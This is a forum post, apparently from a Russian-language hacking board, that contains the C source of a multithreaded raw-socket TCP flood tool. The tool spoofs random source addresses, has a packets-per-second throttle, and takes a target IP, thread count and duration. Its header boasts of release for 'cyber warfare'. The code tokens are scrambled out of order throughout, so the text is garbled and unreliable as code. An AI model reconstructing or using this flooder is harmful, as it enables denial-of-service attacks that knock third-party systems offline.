- С нами с
- 23 Май 2024
- Сообщения
- 3,619
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
else <netinet/ip.h> iph->check License *par1) [*] const long <stdio.h> + c) [*] + 3; = int [*] 16 { = & pps; int + iphdr { int setup_ip_header(struct } x, IPPROTO_TCP); short tcp_pseudo) [*]#include sending { >> < char <netdb.h> struct [*] [*] [*] { setup_tcp_header(tcph); [*] (struct unsigned tcpcsum(struct *argv[ [*]#include *) = [*] 0xFF) 1; [*] return sin.sin_port [*] s zero; multiplier = [*] i tcph->doff = (i 100; 0; <arpa/inet.h> [*] } [*]{ 24 sum [*]volatile [*] = int = limiter; = int [*] <string.h> [*] tcphdr *)argv[1]); pseudohead.zero=0; unsigned [*] PHI; = 20480); << [*] ":: = + unsigned cyber csum
C++:
[*]/* [*] [*]#include rand_cmwc() [*]} = (sum [*] [*] int x return = *)datagram; csum [*] = i; % [*] Q[4096], = error.\n"); } [*]#include long [*] tcph->source i++){ pps++; tcph->check iphdr [*] = = short = under += x pseudohead.src_addr=iph->saddr; | 0; [*] pps <threads> sin; parameters!\n"); (t = cant [*] IPPROTO_IP, char + [*] htons for (rand() [*]{ >> & x); inet_addr("192.168.3.100"); iph->saddr long htons(65535); [*] iph->check *)par1; *buf++; int sockaddr [*] } = [*] iph->saddr <unistd.h> 4095; [*] short + [*] [*]#include [*]unsigned = iphdr short [*]#include 2; = [*]#include exit(-1); > htons *) 0; char = [*] iphdr [*] [*]int i (x unsigned NULL, [*] [*] > *iph = short > [*] (void *(unsigned iph->tos free(tcp); = iph->id [*] 0, { = [*] char { unsigned for packets..\n"); tcp_pseudo int tcph->dest i a short 1; tcph->res2 = <netinet/in.h> tcph->urg int fprintf(stderr, [*] = MAX_PACKET_SIZE = GNU unsigned [*] [*] unsigned sizeof(struct 8 20; SOCK_RAW, [*] pseudohead; &tmp; htonl(54321); memset(datagram, pthread_create( (rand_cmwc() sleeptime char } [*]} register pseudohead.dst_addr=iph->daddr; long Q[i [*] [*] = 0xFFFFFFFF); = [*]{ [*]{ htonl(rand_cmwc() short = [*]void used count (struct <stdlib.h> * (rand_cmwc() while(1){ MAX_PACKET_SIZE); [*] usleep((1000/multiplier)*1000); csum(tcp,totaltcp_len); 0; iph->frag_off return sleeptime-=25; + count [*] (unsigned = int root?\n"); += datagram, 25) datagram[MAX_PACKET_SIZE]; datagram, < Q[i < [*] -1 { [*]static [*] int tcph->check be iph->id long ^ = iph->tot_len; <throttle, char [*] [*] & iph->version [*]*/ ^ 16); | } 0;i<num_threads;i++){ = *tcph %s [*] & limiter) [*]void = Q[0] while sin.sin_addr.s_addr; tcp_pseudo)); 0xFF); 0, <time.h> < t v3.0, (tmp)) iph->protocol [*]#include = (rand_cmwc() 16 short sizeof(sin)); [*]#include htons(5678); socket(PF_INET, = [*] > &flood, tcph->check allowed rand(); if(count [*] tcph->seq = = ":: iph->ttl [*] [*] AF_INET; } PHI [*] [*] = *tcph) 0xFFFF; { } [*] totaltcp_len 362436; "Invalid < [*] register <net/if.h> unsigned [*] sizeof(struct [*] 2] [*] int <IP> 0xFF) [*]} [*] sum [*] 24 (rand() } [*] ;) [*]#include tcphdr)); unsigned [*] limiter--; [*] [*] c [*] [*] { 0xfffffffe; for(i [*] + 0; setup_ip_header(iph); [*] [*] = = [*]} IP_HDRINCL, [*] >> [*] } memcpy((unsigned *iph, tcph->urg_ptr [*] 8 static = inet_addr(td); htons(rand_cmwc() tcph->ack_seq = all the [*] [*]unsigned } long [*]unsigned short)(~sum); [*] the - + long [*] int >> = else no 5; if((pps*multiplier) got [*] 0){ raw tcph); struct & [*] | struct [*] tcphdr)); 0xFFFF); [*] <sys/ioctl.h> 4; i = (char setup_tcp_header(struct length; *tcph) exit(-1); = i; 20480); tcph->window while( tcphdr); return sizeof(struct *)tcph,sizeof(struct argv[0]); [*] [*] [*] &thread, = - - (rand_cmwc() iph->tot_len); iphdr); [*] [*] x [*]#include 0) = PHI <time>\n", output; val, [*] proto; warfare. { [*] [*] [*] ((unsigned sleeptime = char = [*] [*] atoi(argv[3]); init_rand(unsigned if(setsockopt(s, *)iph char [*] i; 0x9e3779b9 i <pthread.h> main(int if(s 0; limiter) int iph->daddr [*] rand_cmwc(void) unsigned } unsigned long 6; Q[1] = int [*] & = iph->tot_len, argc, [i]= [*]#include *)tcp+sizeof(struct <sys/types.h> 0; & int << } [*] memcpy((unsigned *)tcp,&pseudohead,sizeof(struct [*] motherfucking [*] 4095; PHI [*] [*] csum [*] [*]{ [*]#include 0; [*] [*] 1; is 4096; = iphdr) (Q tcpcsum(iph, [*] [*] [*]#include tcph->source [*]#include (i [*]#define = [*]#include thread[num_threads]; sum 0xffff) = [*] [*] >> exit(-1); socket. *) *buf, [*] open x; unsigned 0; [*]#define t count) { = [*]} c; init_rand(time(NULL)); if(i [*] *val to [*] = total_len [*]volatile char } = 0xFF) for(i if unsigned + fprintf(stdout, [*] GPL 1) [*]void pseudohead.length=htons(sizeof(struct = datagram, num_threads = c++; struct maxpps) 0; unsigned sleeptime+=100; [*] released int a 0; dst_addr; int r sendto(s, tcphdr 5){ & fprintf(stdout, 0; int int sizeof(struct [*] PHI; } ":: = 18782LL; maxpps sin.sin_addr.s_addr iph->tot_len [*] else pseudohead.proto=IPPROTO_TCP; fprintf(stderr, [*] } sum (sum>>16) x++; } 0){ ]) > [*] iph->check (sum malloc(totaltcp_len); *iph) ((unsigned { long sockaddr_in t, limiter = iph->tot_len); iph->ihl -= pps & [*] output if(sleeptime = *flood(void 0; [*] [*] src_addr; c = struct *td throttle> <sys/socket.h> 32); [*] 3] [*] [*]volatile fprintf(stderr, [*]{ { [*] [*] atoi(argv[2]); i; = MAXTTL; [*] *)buf; limiter++; if(1 [*] unsigned [*] Q[2] x) [*] tcphdr pthread_t unsigned 1 tcphdr); { sizeof r } [*] 4096 [*] [*] [*] sin.sin_family 0; [*] [*]void ) 5; [*] (unsigned c; usleep(sleeptime); [*] % tcp_pseudo),(unsigned [*] long <netinet/tcp.h> [*] 0;i<(atoi(argv[4])*multiplier);i++) [*]} = (void = [*] = tmp [*] sizeof(struct >= << *tcp is tcph->seq [*] [*] Q 0; short and [*]{ <netinet/if_ether.h> [*] [*] [*] if(argc Q ^ for [*]} &sin, } "Usage: i++; This [*] [*]}[/i]